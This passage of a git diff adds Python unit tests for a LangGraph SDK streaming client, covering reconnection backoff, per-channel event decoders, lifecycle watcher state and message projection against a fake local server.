for s in sleeps) + + +@pytest.mark.anyio +async def test_reconnect_accepts_backoff_kwargs(): + """StreamController must accept reconnect_backoff_base and _cap kwargs.""" + controller = StreamController( + transport=_always_error_transport(), + run_start_gate=AsyncMock(), + max_reconnect_attempts=1, + reconnect_backoff_base=0.05, + reconnect_backoff_cap=1.0, + ) + assert controller._reconnect_backoff_base == 0.05 + assert controller._reconnect_backoff_cap == 1.0 + + +# --------------------------------------------------------------------------- +# Task 8.2: Close old handle before reconnect +# --------------------------------------------------------------------------- + + +@pytest.mark.anyio +async def test_transport_drop_exception_logged_with_type(monkeypatch, caplog): + """Bare `pass` discarded exception types; the drop should at least log.""" + import logging + + monkeypatch.setattr("asyncio.sleep", AsyncMock()) + + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + ready.set_result(None) + done: asyncio.Future[BaseException | None] = loop.create_future() + done.set_result(RuntimeError("transport drop")) + + async def _raises() -> AsyncIterator[Any]: + raise RuntimeError("transport drop") + yield # pragma: no cover + + old_handle = EventStreamHandle( + events=_raises(), + ready=ready, + done=done, + close=AsyncMock(), + ) + + transport = _always_error_transport() + controller = StreamController( + transport=transport, + run_start_gate=AsyncMock(), + max_reconnect_attempts=1, + reconnect_backoff_base=0.0, + reconnect_backoff_cap=0.0, + ) + controller._shared_stream = old_handle + controller._shared_stream_filter = {"channels": ["lifecycle"]} + + with caplog.at_level(logging.DEBUG, logger="langgraph_sdk.stream.controller"): + await controller._fanout() + + assert any("transport drop" in rec.message for rec in caplog.records) + + +@pytest.mark.anyio +async def test_reconnect_closes_old_handle_before_opening_new(monkeypatch): + """When the shared stream errors and triggers reconnect, the old + EventStreamHandle's close() must be called.""" + # Suppress actual sleeps. + monkeypatch.setattr("asyncio.sleep", AsyncMock()) + + close_calls: list[str] = [] + + loop = asyncio.get_running_loop() + old_ready: asyncio.Future[None] = loop.create_future() + old_ready.set_result(None) + # done resolves with an error to trigger the reconnect path in _fanout. + old_done: asyncio.Future[BaseException | None] = loop.create_future() + old_done.set_result(RuntimeError("transport drop")) + + async def _empty() -> AsyncIterator[Any]: + # Raise on the first iteration so _fanout exits the inner loop. + raise RuntimeError("transport drop") + yield # pragma: no cover + + old_handle = EventStreamHandle( + events=_empty(), + ready=old_ready, + done=old_done, + close=AsyncMock(side_effect=lambda: close_calls.append("old_closed")), + ) + + # Transport always errors so reconnect exhausts all attempts and _fanout exits. + transport = _always_error_transport() + controller = StreamController( + transport=transport, + run_start_gate=AsyncMock(), + max_reconnect_attempts=1, + reconnect_backoff_base=0.0, + reconnect_backoff_cap=0.0, + ) + controller._shared_stream = old_handle + controller._shared_stream_filter = {"channels": ["lifecycle"]} + + # _fanout drives reconnect; wait for it to complete. + await controller._fanout() + + assert "old_closed" in close_calls diff --git a/libs/sdk-py/tests/streaming/test_decoders.py b/libs/sdk-py/tests/streaming/test_decoders.py new file mode 100644 index 0000000..c1ebcd9 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_decoders.py @@ -0,0 +1,460 @@ +"""Unit tests for the per-channel Decoders. + +Each test drives a single decoder with synthetic events from `_events` and +asserts the items the decoder yields. +""" + +from __future__ import annotations + +from typing import Any + +from langgraph_sdk.stream.decoders import ( + DataDecoder, + ExtensionsDecoder, + MessagesDecoder, + SubgraphsDecoder, + ToolCallsDecoder, +) +from streaming._events import ( + checkpoints_event, + custom_event, + lifecycle_completed_event, + lifecycle_started_event, + message_error_event, + message_finish_event, + message_start_event, + message_text_delta_event, + tasks_result_event, + tasks_start_event, + tool_error_event, + tool_finished_event, + tool_output_delta_event, + tool_started_event, + updates_event, + values_event, +) + + +def test_data_decoder_yields_params_data(): + decoder = DataDecoder("values") + assert list(decoder.feed(values_event(seq=1, x=1))) == [{"x": 1}] + assert list(decoder.feed(values_event(seq=2, x=2, y=3))) == [{"x": 2, "y": 3}] + + +def test_data_decoder_ignores_other_methods(): + decoder = DataDecoder("values") + assert list(decoder.feed(lifecycle_completed_event(seq=1))) == [] + assert list(decoder.feed(updates_event(seq=2, foo=1))) == [] + + +def test_data_decoder_handles_updates_checkpoints_tasks_methods(): + assert list(DataDecoder("updates").feed(updates_event(seq=1, node={"x": 1}))) == [ + {"node": {"x": 1}} + ] + assert list( + DataDecoder("checkpoints").feed(checkpoints_event(seq=2, ts="t", v=4)) + ) == [{"ts": "t", "v": 4}] + # tasks payloads pass through verbatim as data dicts + [item] = list(DataDecoder("tasks").feed(tasks_start_event(seq=3, task_id="a"))) + assert item["id"] == "a" + + +def test_data_decoder_namespace_none_yields_regardless_of_namespace(): + decoder = DataDecoder("checkpoints", namespace=None) + assert list(decoder.feed(checkpoints_event(seq=1, namespace=["child"], v=1))) == [ + {"v": 1} + ] + + +def test_data_decoder_namespace_filter_drops_non_matching_namespace(): + decoder = DataDecoder("checkpoints", namespace=[]) + # root-namespace event is yielded; child-namespace event is filtered out + assert list(decoder.feed(checkpoints_event(seq=1, v=1))) == [{"v": 1}] + assert list(decoder.feed(checkpoints_event(seq=2, namespace=["child"], v=2))) == [] + + +class _FakeStream: + """Stand-in for AsyncChatModelStream/ChatModelStream in decoder tests.""" + + def __init__(self, *, namespace, node, message_id): + self.namespace = namespace + self.node = node + self.message_id = message_id + self.dispatched: list[dict] = [] + + def dispatch(self, data): + self.dispatched.append(data) + + +def _factory(*, namespace, node, message_id): + return _FakeStream(namespace=namespace, node=node, message_id=message_id) + + +def test_messages_decoder_yields_stream_on_message_start(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + streams = list( + decoder.feed(message_start_event(seq=1, message_id="m-1", node="agent")) + ) + assert len(streams) == 1 + assert streams[0].message_id == "m-1" + assert streams[0].node == "agent" + # The start event is dispatched into the stream too (matches stream.py:432). + assert ( + streams[0].dispatched and streams[0].dispatched[0]["event"] == "message-start" + ) + + +def test_messages_decoder_dispatches_delta_to_active_stream(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + [stream] = list(decoder.feed(message_start_event(seq=1, message_id="m-1"))) + delta = message_text_delta_event(seq=2, message_id="m-1", text="hi") + assert list(decoder.feed(delta)) == [] + assert stream.dispatched[-1]["event"] == "content-block-delta" + + +def test_messages_decoder_finish_retires_stream(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + [stream] = list(decoder.feed(message_start_event(seq=1, message_id="m-1"))) + list(decoder.feed(message_finish_event(seq=2, message_id="m-1"))) + assert stream.dispatched[-1]["event"] == "message-finish" + assert all(s is not stream for s in decoder._active.values()) + [again] = list(decoder.feed(message_start_event(seq=3, message_id="m-1"))) + assert again is not stream + + +def test_messages_decoder_error_retires_stream(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + [stream] = list(decoder.feed(message_start_event(seq=1, message_id="m-1"))) + list(decoder.feed(message_error_event(seq=2, message_id="m-1", message="boom"))) + assert stream.dispatched[-1]["event"] == "error" + assert all(s is not stream for s in decoder._active.values()) + + +def test_messages_decoder_single_fallback_routes_idless_events(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + [stream] = list(decoder.feed(message_start_event(seq=1, message_id="m-1"))) + list(decoder.feed(message_text_delta_event(seq=2, text="x"))) # no message_id + assert stream.dispatched[-1]["event"] == "content-block-delta" + + +def test_messages_decoder_drops_idful_events_for_unknown_stream(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + [stream] = list(decoder.feed(message_start_event(seq=1, message_id="m-1"))) + list(decoder.feed(message_text_delta_event(seq=2, message_id="ghost", text="x"))) + assert all(d["event"] != "content-block-delta" for d in stream.dispatched) + + +def test_messages_decoder_ignores_other_namespaces(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + assert ( + list( + decoder.feed( + message_start_event(seq=1, namespace=["child"], message_id="m-1") + ) + ) + == [] + ) + + +def test_messages_decoder_drops_idless_delta_when_multiple_active(): + decoder = MessagesDecoder(namespace=[], stream_factory=_factory) + [a] = list(decoder.feed(message_start_event(seq=1, message_id="m-1"))) + [b] = list(decoder.feed(message_start_event(seq=2, message_id="m-2"))) + # id-less delta is ambiguous with two active streams -> dropped, routed to neither + list(decoder.feed(message_text_delta_event(seq=3, text="x"))) + assert all(d["event"] != "content-block-delta" for d in a.dispatched) + assert all(d["event"] != "content-block-delta" for d in b.dispatched) + + +class _FakeToolHandle: + def __init__(self, *, tool_call_id, name, input, namespace): + self.tool_call_id = tool_call_id + self.name = name + self.input = input + self.namespace = namespace + self.deltas: list[str] = [] + self.finished_output: Any = None + self.finished = False + self.error: BaseException | None = None + + def _push_delta(self, delta): + self.deltas.append(delta) + + def _finish(self, output): + self.finished = True + self.finished_output = output + + def _fail(self, exc): + self.error = exc + + +def _tool_factory(*, tool_call_id, name, input, namespace): + return _FakeToolHandle( + tool_call_id=tool_call_id, name=name, input=input, namespace=namespace + ) + + +def test_tool_calls_decoder_yields_handle_on_start(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [handle] = list( + decoder.feed(tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search")) + ) + assert handle.tool_call_id == "tc-1" + assert handle.name == "search" + + +def test_tool_calls_decoder_routes_delta_finish_and_error(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [h] = list( + decoder.feed(tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search")) + ) + list(decoder.feed(tool_output_delta_event(seq=2, tool_call_id="tc-1", delta="x"))) + assert h.deltas == ["x"] + list( + decoder.feed( + tool_finished_event(seq=3, tool_call_id="tc-1", output={"ok": True}) + ) + ) + assert h.finished and h.finished_output == {"ok": True} + + decoder2 = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [h2] = list( + decoder2.feed( + tool_started_event(seq=1, tool_call_id="tc-2", tool_name="search") + ) + ) + list(decoder2.feed(tool_error_event(seq=2, tool_call_id="tc-2", message="boom"))) + assert isinstance(h2.error, RuntimeError) and "boom" in str(h2.error) + + +def test_tool_calls_decoder_drops_events_for_unknown_id(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + assert ( + list( + decoder.feed( + tool_output_delta_event(seq=1, tool_call_id="ghost", delta="x") + ) + ) + == [] + ) + + +def test_tool_calls_decoder_finish_and_error_retire_handle(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [h] = list( + decoder.feed(tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search")) + ) + list(decoder.feed(tool_finished_event(seq=2, tool_call_id="tc-1"))) + # retired: a late delta for the same id is now dropped + list( + decoder.feed(tool_output_delta_event(seq=3, tool_call_id="tc-1", delta="late")) + ) + assert h.deltas == [] + + +def test_tool_calls_decoder_ignores_other_namespaces(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + assert ( + list( + decoder.feed( + tool_started_event(seq=1, namespace=["child"], tool_call_id="tc-1") + ) + ) + == [] + ) + + +def test_tool_calls_decoder_error_retires_handle(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [h] = list( + decoder.feed(tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search")) + ) + list(decoder.feed(tool_error_event(seq=2, tool_call_id="tc-1", message="boom"))) + # retired: a late delta for the same id is now dropped + list( + decoder.feed(tool_output_delta_event(seq=3, tool_call_id="tc-1", delta="late")) + ) + assert h.deltas == [] + + +def test_tool_calls_decoder_skips_non_str_tool_call_id(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + # Build a tools event whose data.tool_call_id is not a string. + bad = tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search") + bad["params"]["data"]["tool_call_id"] = 123 + assert list(decoder.feed(bad)) == [] + + +def test_tool_calls_decoder_skips_non_str_delta(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [h] = list( + decoder.feed(tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search")) + ) + evt = tool_output_delta_event(seq=2, tool_call_id="tc-1", delta="x") + evt["params"]["data"]["delta"] = 123 # non-str delta must be ignored + list(decoder.feed(evt)) + assert h.deltas == [] + + +def test_tool_calls_decoder_defaults_missing_tool_name_to_empty(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + evt = tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search") + del evt["params"]["data"]["tool_name"] # absent tool_name -> handle.name == "" + [h] = list(decoder.feed(evt)) + assert h.name == "" + + +def test_tool_calls_decoder_error_message_defaults_when_blank(): + decoder = ToolCallsDecoder(namespace=[], handle_factory=_tool_factory) + [h] = list( + decoder.feed(tool_started_event(seq=1, tool_call_id="tc-1", tool_name="search")) + ) + evt = tool_error_event(seq=2, tool_call_id="tc-1") + evt["params"]["data"]["message"] = "" # blank -> default message + list(decoder.feed(evt)) + assert str(h.error) == "Tool call errored" + + +class _FakeScopedHandle: + def __init__(self, *, path, graph_name, trigger_call_id): + self.path = path + self.graph_name = graph_name + self.trigger_call_id = trigger_call_id + self.status = "started" + self.error = None + self.events: list[dict] = [] + + def _push_event(self, event): + self.events.append(event) + + def _finish(self, status, error=None): + if self.status != "started": + return + self.status = status + self.error = error + + +def _scoped_factory(*, path, graph_name, trigger_call_id): + return _FakeScopedHandle( + path=path, graph_name=graph_name, trigger_call_id=trigger_call_id + ) + + +def test_subgraphs_decoder_discovers_on_lifecycle_started_once(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(lifecycle_started_event(seq=1, namespace=["child"]))) + assert h.path == ("child",) + assert list(decoder.feed(lifecycle_started_event(seq=2, namespace=["child"]))) == [] + + +def test_subgraphs_decoder_discovers_on_tasks_start_without_result(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(tasks_start_event(seq=1, namespace=["child"]))) + assert h.path == ("child",) + + +def test_subgraphs_decoder_parses_graph_name_and_trigger_from_segment(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(tasks_start_event(seq=1, namespace=["agent:call-1"]))) + assert h.graph_name == "agent" + assert h.trigger_call_id == "call-1" + + +def test_subgraphs_decoder_fans_out_events_to_active_child(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(lifecycle_started_event(seq=1, namespace=["child"]))) + inner = message_start_event(seq=2, namespace=["child"], message_id="m") + assert list(decoder.feed(inner)) == [] + assert inner in h.events # whole event pushed, not just data + + +def test_subgraphs_decoder_fans_out_grandchild_to_direct_child(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(lifecycle_started_event(seq=1, namespace=["child"]))) + grand = message_start_event(seq=2, namespace=["child", "grand"], message_id="m") + list(decoder.feed(grand)) + assert grand in h.events + + +def test_subgraphs_decoder_tasks_result_at_parent_finalizes_child(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + # child discovered with a colon segment -> trigger_call_id == "call-1" + [h] = list(decoder.feed(tasks_start_event(seq=1, namespace=["agent:call-1"]))) + assert h.trigger_call_id == "call-1" + # the finalizing tasks-result is emitted at the PARENT (root) namespace, + # with id (task_id) matching the child's trigger_call_id + list( + decoder.feed( + tasks_result_event(seq=2, namespace=[], task_id="call-1", result={"ok": 1}) + ) + ) + assert h.status == "completed" + # finalized + removed from active: later child-namespace events no longer fan out + later = message_start_event(seq=3, namespace=["agent:call-1"], message_id="m") + list(decoder.feed(later)) + assert later not in h.events + + +def test_subgraphs_decoder_tasks_result_failed_status(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(tasks_start_event(seq=1, namespace=["agent:call-1"]))) + list( + decoder.feed( + tasks_result_event(seq=2, namespace=[], task_id="call-1", error="boom") + ) + ) + assert h.status == "failed" + assert h.error == "boom" + + +def test_subgraphs_decoder_tasks_result_interrupted_status(): + decoder = SubgraphsDecoder(scope=(), handle_factory=_scoped_factory) + [h] = list(decoder.feed(tasks_start_event(seq=1, namespace=["agent:call-1"]))) + list( + decoder.feed( + tasks_result_event( + seq=2, namespace=[], task_id="call-1", interrupts=[{"id": "i-1"}] + ) + ) + ) + assert h.status == "interrupted" + + +def test_subgraphs_decoder_ignores_unrelated_and_scope_itself(): + decoder = SubgraphsDecoder(scope=("root",), handle_factory=_scoped_factory) + # not a direct child of ("root",): wrong depth / wrong prefix + assert list(decoder.feed(lifecycle_started_event(seq=1, namespace=["other"]))) == [] + # the scope's own namespace is not a discovery + assert list(decoder.feed(lifecycle_started_event(seq=2, namespace=["root"]))) == [] + + +def test_extensions_decoder_yields_full_data_for_matching_name(): + decoder = ExtensionsDecoder(name="foo") + # custom_event(name="foo", x=1) -> params.data = {"name": "foo", "x": 1} + assert list(decoder.feed(custom_event(seq=1, name="foo", x=1))) == [ + {"name": "foo", "x": 1} + ] + + +def test_extensions_decoder_ignores_other_extension_names(): + decoder = ExtensionsDecoder(name="foo") + assert list(decoder.feed(custom_event(seq=1, name="bar", x=1))) == [] + + +def test_extensions_decoder_ignores_non_custom_methods(): + decoder = ExtensionsDecoder(name="foo") + assert list(decoder.feed(lifecycle_completed_event(seq=1))) == [] + + +def test_extensions_decoder_ignores_non_dict_data(): + decoder = ExtensionsDecoder(name="foo") + evt = custom_event(seq=1, name="foo", x=1) + evt["params"]["data"] = "not-a-dict" + assert list(decoder.feed(evt)) == [] + + +def test_extensions_decoder_rejects_empty_name(): + import pytest + + with pytest.raises(ValueError): + ExtensionsDecoder(name="") diff --git a/libs/sdk-py/tests/streaming/test_extensions_projection.py b/libs/sdk-py/tests/streaming/test_extensions_projection.py new file mode 100644 index 0000000..16a8fd0 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_extensions_projection.py @@ -0,0 +1,62 @@ +from __future__ import annotations + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import custom_event, lifecycle_completed_event +from streaming._fake_server import FakeServer + + +async def test_extension_projection_yields_matching_custom_payloads(): + fake = FakeServer() + fake.script( + [ + custom_event(seq=1, name="progress", step=1), + custom_event(seq=2, name="metrics", tokens=12), + custom_event(seq=3, name="progress", step=2), + lifecycle_completed_event(seq=4), + ] + ) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + payloads = [payload async for payload in thread.extensions["progress"]] + + assert payloads == [ + {"name": "progress", "step": 1}, + {"name": "progress", "step": 2}, + ] + assert any( + "custom:progress" in body.get("channels", []) + for body in fake.stream_request_bodies + ) + + +async def test_extension_projection_supports_namespace_scope_on_subgraph_handle(): + fake = FakeServer() + fake.script( + [ + custom_event(seq=1, name="progress", namespace=["worker:abc"], step=1), + custom_event(seq=2, name="progress", namespace=[], step=0), + lifecycle_completed_event(seq=3), + ] + ) + transport = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=transport, base_url="http://test") as raw: + from langgraph_sdk._async.stream import ScopedStreamHandle + + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + handle = ScopedStreamHandle( + thread=thread, + path=("worker:abc",), + graph_name="worker", + trigger_call_id=None, + ) + payloads = [payload async for payload in handle.extensions["progress"]] + + assert payloads == [{"name": "progress", "step": 1}] diff --git a/libs/sdk-py/tests/streaming/test_lifecycle_watcher.py b/libs/sdk-py/tests/streaming/test_lifecycle_watcher.py new file mode 100644 index 0000000..2a62004 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_lifecycle_watcher.py @@ -0,0 +1,256 @@ +"""Tests for the lifecycle watcher: `interrupted` / `interrupts` state.""" + +from __future__ import annotations + +import asyncio +import contextlib +from typing import Any + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import ( + input_requested_event, + lifecycle_completed_event, + lifecycle_event, +) +from streaming._fake_server import FakeServer, _StreamScript + + +async def test_interrupted_starts_false(): + async with httpx.AsyncClient(base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + assert thread.interrupted is False + assert thread.interrupts == [] + + +async def test_interrupts_populated_from_input_requested_event(): + fake = FakeServer() + fake.script([input_requested_event(seq=0)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + # Lifecycle watcher consumes asynchronously — poll briefly. + for _ in range(20): + if thread.interrupted: + break + await asyncio.sleep(0.05) + assert thread.interrupted is True + assert len(thread.interrupts) == 1 + assert thread.interrupts[0]["interrupt_id"] == "i-1" + + +async def test_aenter_starts_lifecycle_watcher(): + """Entering AsyncThreadStream opens lifecycle/input SSE before run.start.""" + fake = FakeServer() + fake.script([lifecycle_event(seq=0, phase="started")]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + # The lifecycle watcher task must be created on __aenter__, no run.start needed. + assert thread._lifecycle_watcher_task is not None + # Poll until the watcher has consumed the started event. + for _ in range(20): + if thread._run_seen: + break + await asyncio.sleep(0.05) + assert thread._run_seen is True + # No run.start was ever called — but the server still received a stream request. + assert len(fake.stream_request_bodies) >= 1 + + +async def test_reattach_observes_terminal_state(): + """Reattach (no run.start) consumes lifecycle replay and observes terminal state.""" + fake = FakeServer() + fake.script( + [ + lifecycle_event(seq=0, phase="running"), + lifecycle_event(seq=1, phase="completed"), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="existing", assistant_id="agent") as thread: + # Never call run.start — this is a reattach scenario. + # Poll until _run_done is resolved. + for _ in range(20): + run_done = thread._run_done + if run_done is not None and run_done.done(): + break + await asyncio.sleep(0.05) + assert thread._run_done is not None + assert thread._run_done.done() + terminal = thread._run_done.result() + assert terminal.status == "completed" + assert terminal.error is None + + +async def test_terminal_lifecycle_clears_interrupts(): + """Terminal lifecycle event clears interrupted/interrupts.""" + fake = FakeServer() + fake.script([lifecycle_event(seq=0, phase="completed")]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + # Manually set interrupted state to simulate a prior interrupt. + thread.interrupted = True + thread.interrupts = [ + {"interrupt_id": "i-1", "value": None, "namespace": []} + ] + # Poll until the lifecycle watcher processes the completed event. + for _ in range(20): + if not thread.interrupted: + break + await asyncio.sleep(0.05) + assert thread.interrupted is False + assert thread.interrupts == [] + + +async def test_lifecycle_error_captured_for_output(): + """Lifecycle error terminal state is captured in _run_done with error set.""" + fake = FakeServer() + fake.script([lifecycle_event(seq=0, phase="errored", error="something went wrong")]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + # Poll until _run_done is resolved. + for _ in range(20): + run_done = thread._run_done + if run_done is not None and run_done.done(): + break + await asyncio.sleep(0.05) + assert thread._run_done is not None + assert thread._run_done.done() + terminal = thread._run_done.result() + assert terminal.status == "errored" + assert terminal.error is not None + assert "something went wrong" in str(terminal.error) + + +async def test_run_start_sets_run_seen(): + """run.start() sets _run_seen to True (even without lifecycle event).""" + fake = FakeServer() + fake.script([]) # No events; the command response is sufficient. + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + assert thread._run_seen is False + await thread.run.start(input={}) + # _run_seen is set synchronously in run.start, before awaiting the result. + assert thread._run_seen is True + + +async def test_lifecycle_clean_eof_resolves_run_done_with_errored(): + """If the lifecycle SSE stream ends cleanly (server closes without a + terminal `completed` or `errored` event), `_run_done` must resolve with + an errored terminal so awaiters don't hang.""" + import pytest + + fake = FakeServer() + # Emit a non-terminal lifecycle event, then close cleanly without + # `completed` or `errored`. + fake.script([lifecycle_event(seq=0, phase="started")]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + run_done = thread._run_done + assert run_done is not None + terminal = await asyncio.wait_for(run_done, timeout=2.0) + assert terminal.status == "errored" + assert terminal.error is not None + assert "ended before terminal" in str(terminal.error) + # Quiet unused-import warning under strict configs. + _ = pytest + + +async def test_lifecycle_mid_iteration_error_resolves_run_done_with_error( + monkeypatch: Any, +) -> None: + """If the transport reports an error via `handle.done` after iteration + exits without a terminal lifecycle event, `_run_done` propagates the + transport error rather than the generic clean-EOF message.""" + from langgraph_sdk.stream.transport import EventStreamHandle, ProtocolSseTransport + + def synthetic_handle() -> EventStreamHandle: + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + ready.set_result(None) + done: asyncio.Future[BaseException | None] = loop.create_future() + done.set_result(RuntimeError("simulated transport error")) + + async def empty_events() -> Any: + if False: + yield # pragma: no cover # make this an async generator + return + + async def noop_close() -> None: + return + + return EventStreamHandle( + events=empty_events(), + ready=ready, + done=done, + close=noop_close, + ) + + def patched_open(_self: ProtocolSseTransport, _params: Any) -> EventStreamHandle: + return synthetic_handle() + + monkeypatch.setattr(ProtocolSseTransport, "open_event_stream", patched_open) + + fake = FakeServer() + fake.script([]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + run_done = thread._run_done + assert run_done is not None + terminal = await asyncio.wait_for(run_done, timeout=2.0) + assert terminal.status == "errored" + assert terminal.error is not None + assert "simulated transport error" in str(terminal.error) + # Quiet unused-import warnings under strict configs. + _ = contextlib + + +async def test_lifecycle_watcher_reconnects_with_since_after_transport_drop(): + fake = FakeServer() + fake.set_state({"ok": True}) + fake.script_sequence( + [ + _StreamScript( + events=[lifecycle_event(seq=1, phase="running")], + fail_after=1, + ), + _StreamScript(events=[lifecycle_completed_event(seq=2)]), + ] + ) + async with httpx.AsyncClient( + transport=fake.transport, base_url="http://test" + ) as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="existing", assistant_id="agent") as thread: + for _ in range(20): + run_done = thread._run_done + if run_done is not None and run_done.done(): + break + await asyncio.sleep(0.05) + assert thread._run_done is not None + terminal = thread._run_done.result() + + assert terminal.status == "completed" + assert terminal.error is None + assert fake.stream_request_bodies[0]["channels"] == ["lifecycle", "input"] + assert fake.stream_request_bodies[1]["channels"] == ["lifecycle", "input"] + assert fake.stream_request_bodies[1]["since"] == 1 diff --git a/libs/sdk-py/tests/streaming/test_messages_projection.py b/libs/sdk-py/tests/streaming/test_messages_projection.py new file mode 100644 index 0000000..35b3590 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_messages_projection.py @@ -0,0 +1,209 @@ +"""Tests for `thread.messages` - typed async message projection.""" + +from __future__ import annotations + +import httpx +import pytest +from langchain_core.language_models.chat_model_stream import AsyncChatModelStream +from langchain_core.messages import AIMessage + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.threads import ThreadsClient +from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + message_error_event, + message_finish_event, + message_start_event, + message_text_delta_event, + message_text_finish_event, +) +from streaming._fake_server import FakeServer + + +async def test_messages_subscribes_to_messages_channel(): + fake = FakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + _ = [message async for message in thread.messages] + + assert any( + "messages" in body.get("channels", []) for body in fake.stream_request_bodies + ) + + +async def test_messages_yields_async_chat_model_stream_and_text_deltas(): + fake = FakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + message_start_event(seq=1, message_id="msg-1", run_id="run-1"), + message_text_delta_event(seq=2, text="hel", message_id="msg-1"), + message_text_delta_event(seq=3, text="lo", message_id="msg-1"), + message_text_finish_event(seq=4, text="hello", message_id="msg-1"), + message_finish_event( + seq=5, input_tokens=2, output_tokens=3, message_id="msg-1" + ), + lifecycle_completed_event(seq=6), + ] + ) + asgi = httpx.ASGITransport(app=fake.app) + async with httpx.AsyncClient(transport=asgi, base_url="http://test") as raw: + threads = ThreadsClient(HttpClient(raw)) + async with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + await thread.run.start(input={}) + streams = [message async for message in thread.messages] + + assert len(streams) == 1 + message = streams[0] + assert isinstance(message, AsyncChatModelStream) + assert message.message_id == "msg-1" + assert [delta async for delta in message.text] == ["hel", "lo"] + assert await message.text == "hello" + output = await message.output + assert isinstance(output, AIMessage) + assert output.id == "msg-1" + assert output.content == [{"type": "text", "text": "hello", "index": 0}] + assert output.usage_metadata == { + "input_tokens": 2, + "output_tokens": 3, + "total_tokens": 5, + } + + +async def test_messages_multiple_messages_are_distinct_streams(): + fake = FakeServer() + 